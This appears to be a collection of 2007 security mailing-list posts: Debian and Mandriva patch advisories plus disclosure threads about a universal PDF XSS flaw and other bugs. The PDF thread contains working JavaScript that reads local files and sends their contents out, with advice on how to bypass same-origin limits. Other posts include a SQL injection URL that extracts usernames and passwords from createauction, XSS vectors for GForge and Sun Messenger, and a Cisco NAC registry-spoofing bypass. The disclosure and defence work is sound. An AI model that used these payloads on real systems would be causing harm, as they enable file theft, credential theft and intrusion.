I just skimmed through your code very quickly and I noticed a single
problem. Don't send the captured data with another XHR (xhr2). Use
images.
var img = new Image()
img.src = url;
this should work.
On 1/4/07, T Biehn [EMAIL PROTECTED] wrote:
I'm trying to put together a demonstration of this vulnerability, and how it
could effect corporate security, however I'm encountering a large hangup
when sending a file 'back' to the webserver, the browser same origin policy
denies me the ability to send files to a different domain, which afaik is
necessary for an external attacker to properly exploit this vulnerability:
Here's the code I have so far, based more or less on PDP's
Vanilla, almost' PDP's (different url, spaces removed etc.)
file:///C:/Program Files/Adobe/Acrobat
6.0/Resource/ENUtxt.pdf#something=javascript:function
cXHR(){try{return new ActiveXObject('Msxml2.XMLHTTP');}catch(e){}try{return
new ActiveXObject('Microsoft.XMLHTTP');}catch(e){}try{return new
XMLHttpRequest();}catch(e){} return null;}var xhr =
cXHR();xhr.onreadystatechange = function(){if ( xhr.readyState ==
4)alert(xhr.responseText);};xhr.open('GET', 'file:///C:/Program
Files/Adobe/Acrobat 6.0/ReadMe.htm', true);xhr.send(null);
What I'm trying to do:
file:///C:/Program Files/Adobe/Acrobat
6.0/Resource/ENUtxt.pdf#something=javascript:function
cXHR(){try{return new ActiveXObject('Msxml2.XMLHTTP');}catch(e){}try{return
new ActiveXObject(' Microsoft.XMLHTTP');}catch(e){}try{return new
XMLHttpRequest();}catch(e){} return null;}var xhr = cXHR();var xhr2 =
cXHR();xhr.onreadystatechange = function(){if (xhr.readyState ==
4){alert(xhr.responseText);xhr2.open('GET', '
http://localhost:80/whatever.htm?content=' +
xhr.responseText);xhr2.onreadystatechage = function(){alert('File
Transferred!');};xhr2.send(null);}};xhr.open('GET', '
file:///C:/Program Files/Adobe/Acrobat 6.0/ReadMe.htm',
true);xhr.send(null);
Now, one would think that the LOCAL file operating mode of IE would allow
the cross domain XHR request, however this does not work (tested IE 6) I
think because by default IE disallows Javascript access on the local
context.
Try putting this is IE:
file:///C:/Program%20Files/Adobe/Acrobat%206.0/Resource/ENUtxt.pdf#something=javascript:alert('lol')
;
and then try it in FireFox
It won't work in IE 6, but it executes just fine in FireFox.
function cXHR(){ //Grabs a legit XHR.
try{
return new ActiveXObject('Msxml2.XMLHTTP');
}catch(e){}
try{
return new ActiveXObject('Microsoft.XMLHTTP');
}catch(e){}
try{
return new XMLHttpRequest();
}catch(e){}
return null;
}
var xhr = cXHR(); //For grabbing
var xhr2 = cXHR(); //For sending
xhr.onreadystatechange = function(){
if (xhr.readyState == 4){
alert(xhr.responseText);
xhr2.open('GET', '
http://localhost:80/whatever.htm?content=' +
xhr.responseText); //Send it up, yo.
xhr2.onreadystatechage = function(){
alert('File Transferred!');
};
xhr2.send (null);
}
};
xhr.open('GET', 'file:///C:/Program Files/Adobe/Acrobat 6.0/ReadMe.htm',
true);
xhr.send(null);
Anyone's input on this matter would be appreciated.
On 1/4/07, Juha-Matti Laurio [EMAIL PROTECTED] wrote:
Additionally, the public PoC doesn't work on Preview version 3.0.8 (409)
on OS X 10.4.8.
- Juha-Matti
Larry Seltzer [EMAIL PROTECTED] wrote:
According to public reports, this vulnerability is addressed in Adobe
Acrobat Reader 8.0.
I've actually tested it. On Reader 8 Acrobat you get a messagebox that
says This operation is not allowed
Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.eweek.com/blogs/larry%5Fseltzer/
Contributing Editor, PC Magazine
[EMAIL PROTECTED]
___
Full-Disclosure - We believe in it.
Charter:
http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org
[SECURITY] [DSA 1246-1] New OpenOffice.org packages fix arbitrary code execution
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Debian Security Advisory DSA 1246-1[EMAIL PROTECTED] http://www.debian.org/security/ Martin Schulze January 8th, 2007 http://www.debian.org/security/faq - -- Package: openoffice.org Vulnerability : buffer overflow Problem type : local (remote) Debian-specific: no CVE ID : CVE-2006-5870 Debian Bug : 405679 405986 John Heasman from Next Generation Security Software discovered a heap overflow in the handling of Windows Metafiles in OpenOffice.org, the free office suite, which could lead to a denial of service and potentially execution of arbitrary code. For the stable distribution (sarge) this problem has been fixed in version 1.1.3-9sarge4. For the unstable distribution (sid) this problem has been fixed in version 2.0.4-1. We recommend that you upgrade your openofffice.org package. Upgrade Instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given at the end of this advisory: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 3.1 alias sarge - Source archives: http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_1.1.3-9sarge4.dsc Size/MD5 checksum: 2878 3adfe8b09c20248767fe9d995b3f184c http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_1.1.3-9sarge4.diff.gz Size/MD5 checksum: 4623655 108120f3b365317fa9c47b25a5445fce http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_1.1.3.orig.tar.gz Size/MD5 checksum: 166568714 5250574bad9906b38ce032d04b765772 Architecture independent components: http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-af_1.1.3-9sarge4_all.deb Size/MD5 checksum: 2647376 8704f95d7e844e302abcae4d403f7818 http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ar_1.1.3-9sarge4_all.deb Size/MD5 checksum: 2694806 89cc4671d9d38ff05e5a361a06e02098 http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ca_1.1.3-9sarge4_all.deb Size/MD5 checksum: 2690164 45db102838292106429d06f2c9d4a77f http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-cs_1.1.3-9sarge4_all.deb Size/MD5 checksum: 3586142 03e0e6ba4d7abc4954fb7ffe4e04ced6 http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-cy_1.1.3-9sarge4_all.deb Size/MD5 checksum: 2662654 ff77cf34ec2cfc0d8deaa49edf5ed00f http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-da_1.1.3-9sarge4_all.deb Size/MD5 checksum: 3581922 7f69ac15b11613a649a2a08ff1501fd8 http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-de_1.1.3-9sarge4_all.deb Size/MD5 checksum: 3453208 fcd76abbb9df7cd707e36903e9db1f17 http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-el_1.1.3-9sarge4_all.deb Size/MD5 checksum: 2741468 ab08c03a0f0d78c3db9c99bd80fe12f1 http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-en_1.1.3-9sarge4_all.deb Size/MD5 checksum: 3525792 12c71a26f9512295ab442fb63e8711a3 http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-es_1.1.3-9sarge4_all.deb Size/MD5 checksum: 3560792 9965231fb1b0c3956ddb09255b91c86b http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-et_1.1.3-9sarge4_all.deb Size/MD5 checksum: 2645014 baa0a0c809a740273d8dfd87b946d81b http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-eu_1.1.3-9sarge4_all.deb Size/MD5 checksum: 2667748 740c781dd55cad46fdc52c1926d5854e http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-fi_1.1.3-9sarge4_all.deb Size/MD5 checksum: 2673164 f8b2c8d335490dcaaf3f1bcb63eb72ec http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-fr_1.1.3-9sarge4_all.deb Size/MD5 checksum: 3494058 674365c474453cf6590a82c2b2d3d631 http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-gl_1.1.3-9sarge4_all.deb Size/MD5 checksum: 2657584 7ce93bcb8f34a3f05f7560b5631a5ed8
Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
also, you can use TinyURL to hide entire attack vectors. For example,
the following link contains a harmless exploit (alert message box) for
Google:
http://tinyurl.com/t8h4q
more about this issue here:
http://www.gnucitizen.org/blog/universal-pdf-xss-after-party/
On 1/4/07, Billy Hoffman [EMAIL PROTECTED] wrote:
I think I get what Skarvin is saying. Hopeful we all know that fragments are
not sent with the request, so you cannot stop yourself from serving a PDF
that's about to execute JS code in a fragment. However, social sites and
forum sites can scan their site to see if any user supplied links point to a
PDF with a malicious looking fragment. At the very least they can make sure
they are not being an accomplice to an attack. Of course, some people server
PDF's through file portals (file.php?file=foo.pdf) or use other things that
makes it hard to see if a hyperlink serves a PDF or not.
Billy Hoffman
--
Lead Researcher, SPI Labs
SPI Dynamics Inc. – http://www.spidynamics.com
Phone: 678-781-4800
Direct: 678-781-4845
From: Ory Segal [mailto:[EMAIL PROTECTED]
Sent: Thursday, January 04, 2007 3:40 PM
To: skarvin
Cc: bugtraq@securityfocus.com; [EMAIL PROTECTED]
Subject: RE: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
Hi Skarvin,
When you click on a link that contains a fragment in it, the browser does
not send that part (everything after the # symbol - including the symbol
itself), to the server. For example:
http://www.some.site/page.html#abc , when clicked, will
send the following request:
GET /page.html HTTP/1.0
Host: www.some.site
...
So any server side filtering of '#' won't work.
-Ory Segal
www.watchfire.com
From: skarvin [mailto:[EMAIL PROTECTED]
Sent: Thursday, January 04, 2007 10:07 PM
To: Billy Hoffman
Cc: bugtraq@securityfocus.com; [EMAIL PROTECTED]
Subject: Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
Hello Billy,
If I write a rule that filters all url with this character -- # in it's
content I think that the problem is solved, but is my opinion.
Best regards.
2007/1/4, Billy Hoffman [EMAIL PROTECTED]:
You cannot filter this URLs, because a URL fragment denotes something inside
of a resource. The server doesn't care what the fragment it. The HTTP
request sent when you click on a URL with a fragment doesn't contain the
fragment at all. This means a site cannot even implement a web application
firewall or IDS rule to not serve a PDF. They can't tell the different
between a PDF requested for legitimate reasons or a PDF requested as part of
an attack.
Short of removing all PDF's from a website, that site cannot ensure they are
acting as an accomplice to exploit a user.
Fun times,
Billy Hoffman
--
Lead Researcher, SPI Labs
SPI Dynamics Inc. – http://www.spidynamics.com
Phone: 678-781-4800
Direct: 678-781-4845
From: skarvin [mailto:[EMAIL PROTECTED]
Sent: Thursday, January 04, 2007 4:04 AM
To: bugtraq@securityfocus.com; [EMAIL PROTECTED]
Subject: Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
Hi all,
Another possible solution is to use the Apache mod_security to filter that
kind of urls.
bye
2007/1/4, pdp (architect) [EMAIL PROTECTED]:
ahhh, fragment identifiers make sense to browsers only. they are not
send to the server
On 1/4/07, der wert [EMAIL PROTECTED] wrote:
The best solution I see would be to keep all pdf files in a non-web
accessible location on the web server, then have all the pdf files
outputed
through a script such as a php script. In php you can check the what the
REQUEST_URI is, if it isn't equal to what you were expecting which would
mean extra parameters were taken away or added then you could just have
the
php script not output the pdf file since that would mean someone had been
tampering with the URI.
D
Get free, personalized online radio with MSN Radio powered by Pandora.
Try
it!
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org
The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/
The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
--
Un saludo,
This message was written entirely with recycled electrons.
blog: http://skarvin.blogspot.com
main(){int j=1234;char
t[]=:@abcdefghijklmnopqrstuvwxyz.\n,*i=
iqgbgxmsuspcpdofeqgbnek.;char *strchr(const char *,int);while(
*i){j+=strchr(t,*i++)-t;j%=sizeof t-1;putchar(t[j]);}
return 0;}
skarvin
--
Un saludo,
This message was written entirely with recycled electrons.
blog: http://skarvin.blogspot.com
main(){int j=1234;char
t[]=:@abcdefghijklmnopqrstuvwxyz.\n,*i=
rPSA-2007-0001-1 openoffice.org
rPath Security Advisory: 2007-0001-1 Published: 2007-01-08 Products: rPath Linux 1 Rating: Major Exposure Level Classification: Indirect User Deterministic Unauthorized Access Updated Versions: openoffice.org=/[EMAIL PROTECTED]:devel//1/2.0.3-1.7-1 References: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5870 https://issues.rpath.com/browse/RPL-905 Description: Previous versions of the openoffice.org package are vulnerable to an arbitrary code execution attack. When OpenOffice.org opens an intentionally-malformed .wmf or .emf file, it executes arbitrary code provided by the attacker.
[SECURITY] [DSA 1247-1] New libapache-mod-auth-kerb packages fix remote denial of service
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - Debian Security Advisory DSA-1247-1[EMAIL PROTECTED] http://www.debian.org/security/ Noah Meyerhans January 08, 2007 - Package: libapache-mod-auth-kerb Vulnerability : heap overflow Problem type : remote Debian-specific: no CVE Id(s) : CVE-2006-5989 BugTraq ID : 21214 Debian Bug : 400589 An off-by-one error leading to a heap-based buffer overflow has been identified in libapache-mod-auth-kerb, an Apache module for Kerberos authentication. The error could allow an attacker to trigger an application crash or potentially execute arbitrary code by sending a specially crafted kerberos message. For the stable distribution (sarge), this problem has been fixed in version 4.996-5.0-rc6-1sarge1. For the unstable version (sid) and the forthcoming stable version (etch), this problem has been fixed in version 5.3-1. We recommend that you upgrade your libapache-mod-auth-kerb package. Upgrade instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian 3.1 (stable) - --- Stable updates are available for alpha, amd64, arm, hppa, i386, ia64, m68k, mips, mipsel, powerpc, s390 and sparc. Source archives: http://security.debian.org/pool/updates/main/liba/libapache-mod-auth-kerb/libapache-mod-auth-kerb_4.996-5.0-rc6-1sarge1.dsc Size/MD5 checksum: 744 5e045be08755cab316754a7f214eeaae http://security.debian.org/pool/updates/main/liba/libapache-mod-auth-kerb/libapache-mod-auth-kerb_4.996-5.0-rc6-1sarge1.diff.gz Size/MD5 checksum:49849 3ebbb5101629ddd8917159c1cbdf20ab http://security.debian.org/pool/updates/main/liba/libapache-mod-auth-kerb/libapache-mod-auth-kerb_4.996-5.0-rc6.orig.tar.gz Size/MD5 checksum:68787 b6a6c80b25b362eb7394f69cdc91f76d amd64 architecture (AMD x86_64 (AMD64)) http://security.debian.org/pool/updates/main/liba/libapache-mod-auth-kerb/libapache2-mod-auth-kerb_4.996-5.0-rc6-1sarge1_amd64.deb Size/MD5 checksum:28574 65078aa7e78f2728499849047eaf2fbb http://security.debian.org/pool/updates/main/liba/libapache-mod-auth-kerb/libapache-mod-auth-kerb_4.996-5.0-rc6-1sarge1_amd64.deb Size/MD5 checksum:27148 60ce4d39ac022335bd98ea7ed412f24d arm architecture (ARM) http://security.debian.org/pool/updates/main/liba/libapache-mod-auth-kerb/libapache-mod-auth-kerb_4.996-5.0-rc6-1sarge1_arm.deb Size/MD5 checksum:24078 053e0b54c348251be97c7708d43b5542 http://security.debian.org/pool/updates/main/liba/libapache-mod-auth-kerb/libapache2-mod-auth-kerb_4.996-5.0-rc6-1sarge1_arm.deb Size/MD5 checksum:25498 e1882b8b0e408cb2339ef4d43c800bd7 hppa architecture (HP PA RISC) http://security.debian.org/pool/updates/main/liba/libapache-mod-auth-kerb/libapache2-mod-auth-kerb_4.996-5.0-rc6-1sarge1_hppa.deb Size/MD5 checksum:28796 e29c79c55af53fc66cc1ea9084c63403 http://security.debian.org/pool/updates/main/liba/libapache-mod-auth-kerb/libapache-mod-auth-kerb_4.996-5.0-rc6-1sarge1_hppa.deb Size/MD5 checksum:27246 4d2394e0fc2a429c03ad6063c9ea2cce i386 architecture (Intel ia32) http://security.debian.org/pool/updates/main/liba/libapache-mod-auth-kerb/libapache-mod-auth-kerb_4.996-5.0-rc6-1sarge1_i386.deb Size/MD5 checksum:25014 20666ea4edbce196ba0b4ea120425af5 http://security.debian.org/pool/updates/main/liba/libapache-mod-auth-kerb/libapache2-mod-auth-kerb_4.996-5.0-rc6-1sarge1_i386.deb Size/MD5 checksum:27176 6e7e40781f4beadec9226a918c8d4591 ia64 architecture (Intel ia64) http://security.debian.org/pool/updates/main/liba/libapache-mod-auth-kerb/libapache-mod-auth-kerb_4.996-5.0-rc6-1sarge1_ia64.deb Size/MD5 checksum:31886 8146de1df6e65b32e213bfdc9b1320d2 http://security.debian.org/pool/updates/main/liba/libapache-mod-auth-kerb/libapache2-mod-auth-kerb_4.996-5.0-rc6-1sarge1_ia64.deb Size/MD5 checksum:33946 a2f93809df0703311c64ab28bc71a435 m68k architecture (Motorola Mc680x0) http://security.debian.org/pool/updates/main/liba/libapache-mod-auth-kerb/libapache-mod-auth-kerb_4.996-5.0-rc6-1sarge1_m68k.deb Size/MD5 checksum:24592 111a715b11307ad90a8c3c72d144067d http://security.debian.org/pool/updates/main/liba/libapache-mod-auth-kerb/libapache2-mod-auth-kerb_4.996-5.0-rc6-1sarge1_m68k.deb Size/MD5 checksum:24904 058b9470f905b33b7db5c1b7c82b704c mips architecture (MIPS (Big Endian))
Re: Sun java System Messenger Express XSS
Interesting but yet I don't any possiblity of an attack.
URL like
http://host/?user=xdfaerror=%3Cscript%3Ealert('hakin9')%3C/script%3E
is generated when user login failed and JES webmail server issued an HTTP
redirect
The webmail server itself will not issue URL like that unless the proxy server
which the browser connects to get hacked. But if a proxy server gets hacked,
that is the end of game. Your BofA account, stock accounts are all
compromised, which has nothing to do with JES messaging server itself.
Secondly, one can look closer to what harm that URL can do. Nothing. That URL
points to a LOGIN page where users have NOT logged in. With no
credential/cookie/session, a static login page cannot lead to any attack.
cisco nac bypass vulnerability - cisco trust agent
hello list, the cisco network admission control system gives an adminitrator the chance to check the clients, whether they have installed certain patches / hotfixes. this check is not reliable. programm version: cisco trust agent 2.0.1.14 (probably all versions) os: windows xp sp2 vendor informed: yes (got only automated feedback mail) severity: low - med vulnerability: the cta checks the patch level only with some registry queries which can be manipulated example: - Cisco:Host:Hotfix contains KB919007 as posture validation - the KB919007 hotfix is not installed! - copy the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Windows XP\SP3\KB873339 key and change it into a KB919007 key - result: client is healty regards thorben
RE: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
One possible work around on the server side: Direct your web server to serve .pdf files as mime type application/octet That way the files will be saved to disk instead of opening in the browser plug in. Firefox works fine with this, but depending upon which version of IE you have (and which platform it is installed on) this probably wont work by default, as IE will ignore the MIME type and base it's decision on the file extension. Martin... -- CONFIDENTIALITY: This e-mail and any files transmitted with it are confidential and intended solely for the use of the recipient(s) only. Any review, retransmission, dissemination or other use of, or taking any action in reliance upon this information by persons or entities other than the intended recipient(s) is prohibited. If you have received this e-mail in error please notify the sender immediately and destroy the material whether stored on a computer or otherwise. -- DISCLAIMER: Any views or opinions presented within this e-mail are solely those of the author and do not necessarily represent those of Corsaire Limited, unless otherwise specifically stated. -- Corsaire Limited, 3 Tannery House, Tannery Lane, Send, Surrey, GU23 7EF Telephone: +44(0)1483-226000 Email:[EMAIL PROTECTED]
Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
RSnake wrote: The point is - someone with shared IP is vulnerable ONLY to an attacker with the same IP. Which makes attacks much less generic and much more painful. Rock solid it ain't, but I think it's a pretty good band-aid until all (hmmm...) clients upgrade to Acrobat Reader 8.0. -Amit Sorry for responding late, I've been doing some consulting work. After talking with some people on my blog I don't believe that is the case (at least not in theory). Let's say Alice has an account with Bob's website. Cathy is an attacker who owns a website that uses anti-DNS pinning. Of course anti-DNS pinning would work against my algorithm, but anti-DNS pinning is a larger problem, one that is out of scope here. I mean - so many things are broken when anti-DNS pinning is introduced... especially any IP-based security techniques. Anti-DNS pinning should be solved by browser vendors (if possible), regardless of the PDF problem. And at any rate, I feel that my algorithm makes the attack harder because it forces it to involve anti-DNS pinning. Anyway, if you worry about the current anti-DNS pinning techniques, you may simply serve your PDF files in HTTPS only. I believe this will defeat the present day anti-DNS pinning techniques (in the sense that the user under anti-DNS pinning attack will get a certificate error before being served the PDF). -Amit
createauction (cats.asp) Remote SQL Injection Vulnerability
createauction (catid) Remote SQL Injection Vulnerability HItamputih Crew # hitamputih Advisory # Discovered By : IbnuSina #--- # Software: createauction # Vendor : http://www.createauction.com/ # Method: SQL Injection # Thanks To : akukasih,nyubi,irvian and all #hitamputih crew # [[SQL]]]- http://[target]/[path]/cats.asp?catid=[SQL] ex: http://[target]/[path]/cats.asp?catid=1%20%20and%201=convert(int,(select%20top%201%20username%2b'/'%2bpassword%20from%20users))--sp_password #
Re: cisco nac bypass vulnerability - cisco trust agent
thorben schroeder wrote: the cisco network admission control system gives an adminitrator the chance to check the clients, whether they have installed certain patches / hotfixes. this check is not reliable. This is a known vulnerability of any system of NAC which trusts a client based agent. Since you cannot determine what program is running on the remote system, you cannot really trust what it is declaring. So, nothing really new in what you reported (you could also reverse engineer and write a client which answers the server exactly what it wants to hear). The point is knowing and accepting the unavoidable limits of such technologies. Stefano
GForge Cross Site Scripting vulnerability
GForge Cross Site Scripting vulnerability
Version:Tested on GForge 4.5.11
Discovered by: José Ramón Palanco: jose.palanco(at)eazel(dot)es
http://www.eazel.es
Description:
GForge is vulnerable to a security vulnerability that allow Cross-Site
Scripting attacks. Due to improper filtering, a remote attacker can cause a
cross site scripting.
To exploit any attacker may send via GET method the words variable to:
scriptalert('www.eazel.es')/script
to http://site/search/advanced_search.php?group_id=Xsearch=1
where X is any active project in the gforge installation.
Timeline:
discovered: 26/10/2006
published: 8/01/2007
Original advisory:
http://www.eazel.es/advisory006-gforge-cross-site-scripting-vulnerability.html
Re: PHP as a secure language? PHP worms? [was: Re: new linux malware]
I'm quite confident that someone could develop a very secure interpreted language. Thats a moot point, it's not about languages anymore, it's about FRAMEWORKS on top of languages with security baked in. In Java my team has one validation servlet that every request must go through - so even if my junior programmers screw up, I'm catching it in a framework-like way. Struts Java framework allows you to validate form/request data via XML configuration so an InfoSec guy can add regex's to each-and-every element of your forms AFTER the fact WITHOUT programmer intervention. In .NET, we win. .NET does not scale well (MySpace is suffering the cost of trying to deploy .NET globally, poor guys) BUT - .NET has a framework that automagically does input validation for you - and almost does it well. There WAS a 2.0 framework input validation bug a few months back, but MS patched it up within hours of discovery, and heck, most PPL are at .NET 1.1 still. Even the craptacular Drupal (4.7.4+) CMS PHP framework does CSRF protection very well via form keys. How many of your web apps defend again CSRF right now? I prefer Java and am not fond of M$, but I must nod my head to the security considerations baked into .NET (If only it scaled well) and some of the more mature Java frameworks like Struts. In the future - we will code web apps only to frameworks (or raw languages will start to add framework features at the language core). No more of this raw language BS for web apps (sorry Swa, wherever you are). It's all about the frameworks! Programmers are NOT coding more securely, I've seen architects recently not even able to TALK to me about CSRF, let alone defend against it! Pick a framework with a good security history, use it, and track it in a rather meticulous way. - Jim Ronald Chmara wrote: On Jan 2, 2007, at 10:37 AM, Darren Reed wrote: In some mail from Jim Harrison, sie said: Again; I agree with and fully support the effort. What I'm trying to point out is the literal impossibility of actually achieving genuine security in either our code or the languages it's written in. Well given that the ultimate root of any invention is going to be human, you're saying genuine security is impossible. Genuine Security is a marketing term (a misleading one, at that). A programming language without security risks is pretty much useless. A capable web programming language without security risks is darned near impossible. I'm quite confident that someone could develop a very secure interpreted language. It might not do a lot, but it could easily be done (even if only to prove you wrong) - if one doesn't already exist. I could probably even prove a case with /bin/sh. Sorry, /bin/sh needs read access to /etc/passwd for uname checks, and thus, allows for information disclosure. Hm. LOGO is pretty safe to use. I'm not sure how much you can do with it anymore. You might be able to draw web pages really slowly. The problem we have right now is that the language commonly used for dynamic web pages on non-Microsoft platforms is PHP and that this has not been engineered *for security*. PHP was engineered with the power (and responsibilities) of C. It allows for on-the-fly database administration, file access at the level of permission given to the web server process, and input/output at the level of raw data streams. PHP is not a web scripting language, so much as a scripting interface to raw binary libraries on the disk, and raw machine resources. Thus, if an admin wants to build a PHP program to administer a massive DB cluster at the CLUI level, they can. If they want to run the world's largest online encyclopedia, they can. They can also write an address book. The goal of a language such as PHP should be to make it possible to do what is required without the person using it needing to know anything about security or secure programming practices. I think you might be a tad confused about the goals of PHP, or hoping that their goals match yours. PHP, which stands for PHP: Hypertext Preprocessor is a widely-used Open Source general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. Its syntax draws upon C, Java, and Perl, and is easy to learn. The main goal of the language is to allow web developers to write dynamically generated webpages quickly, but you can do much more with PHP. Note: web developers, not bored college students who tend to put SQL arguments into a GET string or oops, I didn't bother to check my args because the bong distracted me. Just because it's easy to learn how to use a gun does *not* give people license to shoot themselves in the foot and then complain that the gun was too easy to use. Just as people using perl generally don't need to worry about buffer overflows, Er, what? As soon as a perl user glues into an external library, they better start to worry
Re: Vendor guidelines regarding security contacts
: We frequently see requests for contact on this mailing list. Readers : are encouraged to ensure that their software vendors are aware of the : following documents, which have more specific guidelines for vendors to : establish. Because these documents have been co-authored by major : organizations, they might provide more leverage for researchers who have : difficulty in reaching unresponsive or uninterested vendors. Whether you : subscribe to the whole responsible disclosure process or not, : presumably most of us agree that it's important for vendors to be easily : reachable. : The US Department of Homeland Security's Vulnerability Disclosure : Framework document here: : : [..] : : Those are from : http://www.oisafety.org/guidelines/Guidelines%20for%20Security%20Vulnerability%20Reporting%20and%20Response%20V2.0.pdf If an organization doesn't follow the above guidelines for any reason, they should at the very least make a reasonable effort to follow RFC 2142. ABSTRACT This specification enumerates and describes Internet mail addresses (mailbox name @ host reference) to be used when contacting personnel at an organization. Mailbox names are provided for both operations and business functions. Additional mailbox names and aliases are not prohibited, but organizations which support email exchanges with the Internet are encouraged to support AT LEAST each mailbox name for which the associated function exists within the organization. Specifically section 4 which requests the use of a 'security' mailbox. 4. NETWORK OPERATIONS MAILBOX NAMES Operations addresses are intended to provide recourse for customers, providers and others who are experiencing difficulties with the organization's Internet service. MAILBOXAREAUSAGE ------ ABUSE Customer Relations Inappropriate public behaviour NOCNetwork Operations Network infrastructure SECURITY Network SecuritySecurity bulletins or queries
[ MDKSA-2007:003 ] - Updated avahi packages fix DoS vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Advisory MDKSA-2007:003 http://www.mandriva.com/security/ ___ Package : avahi Date: January 8, 2007 Affected: 2007.0 ___ Problem Description: The consume_labels function in avahi-core/dns.c in Avahi before 0.6.16 allows remote attackers to cause a denial of service (infinite loop) via a crafted compressed DNS response with a label that points to itself. Updated packages are patched to address this issue. ___ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6870 ___ Updated Packages: Mandriva Linux 2007.0: 3d85bef8519f2b3bc87fa4689c9f1c3c 2007.0/i586/avahi-0.6.13-4.2mdv2007.0.i586.rpm 4d3917128ec852b8f2bc87c5b5d8666a 2007.0/i586/avahi-dnsconfd-0.6.13-4.2mdv2007.0.i586.rpm 4edbbf9d64e96b142568b053f04c6616 2007.0/i586/avahi-python-0.6.13-4.2mdv2007.0.i586.rpm 4d712e30c2fbd4418f3fcf5b6d1b4c0c 2007.0/i586/avahi-sharp-0.6.13-4.2mdv2007.0.i586.rpm 880684acb045144595581fb339136930 2007.0/i586/avahi-x11-0.6.13-4.2mdv2007.0.i586.rpm 652be4f82f97c1524a6d0f2986b2cdeb 2007.0/i586/libavahi-client3-0.6.13-4.2mdv2007.0.i586.rpm 0cda97099767a99a24bfa7055ce2c841 2007.0/i586/libavahi-client3-devel-0.6.13-4.2mdv2007.0.i586.rpm aa8c01ebe391edb965ec3ef278601bb1 2007.0/i586/libavahi-common3-0.6.13-4.2mdv2007.0.i586.rpm 23fec0b43f0d2f287023cc8262034488 2007.0/i586/libavahi-common3-devel-0.6.13-4.2mdv2007.0.i586.rpm 0bf0ec7072425a530a426b117d625845 2007.0/i586/libavahi-compat-howl0-0.6.13-4.2mdv2007.0.i586.rpm 2d4aca55b435b5b586c8157bd00e298c 2007.0/i586/libavahi-compat-howl0-devel-0.6.13-4.2mdv2007.0.i586.rpm 491e90b47e58faa7f1136756c2eb56b1 2007.0/i586/libavahi-compat-libdns_sd1-0.6.13-4.2mdv2007.0.i586.rpm 821a9132a8b03b05a5efab32be3addd5 2007.0/i586/libavahi-compat-libdns_sd1-devel-0.6.13-4.2mdv2007.0.i586.rpm 7f602260a514a21a2211cabd22c1e6aa 2007.0/i586/libavahi-core4-0.6.13-4.2mdv2007.0.i586.rpm ffa377ad89f47e07112d94400698bbae 2007.0/i586/libavahi-core4-devel-0.6.13-4.2mdv2007.0.i586.rpm 01dc5e308f1e94f8fda051511ba470b1 2007.0/i586/libavahi-glib1-0.6.13-4.2mdv2007.0.i586.rpm 4a90fb91f7a5ff1ca36cbdb9375dd2b2 2007.0/i586/libavahi-glib1-devel-0.6.13-4.2mdv2007.0.i586.rpm 00e29620a63da300e1032c8f37c7837f 2007.0/i586/libavahi-qt3_1-0.6.13-4.2mdv2007.0.i586.rpm 01a5534cccae9a70a1ba915a38a82952 2007.0/i586/libavahi-qt3_1-devel-0.6.13-4.2mdv2007.0.i586.rpm acfec3f7a3d07f6dc07a449f4d1387a3 2007.0/i586/libavahi-qt4_1-0.6.13-4.2mdv2007.0.i586.rpm d1b583ff8eda500d3058da1138ab8407 2007.0/i586/libavahi-qt4_1-devel-0.6.13-4.2mdv2007.0.i586.rpm 40e5ad83bf3a3064c1bccf229a5c6bbf 2007.0/SRPMS/avahi-0.6.13-4.2mdv2007.0.src.rpm Mandriva Linux 2007.0/X86_64: 75a40fbced632bdc8babb3709f01f294 2007.0/x86_64/avahi-0.6.13-4.2mdv2007.0.x86_64.rpm e17b41b7649c696a747ec06b430e688a 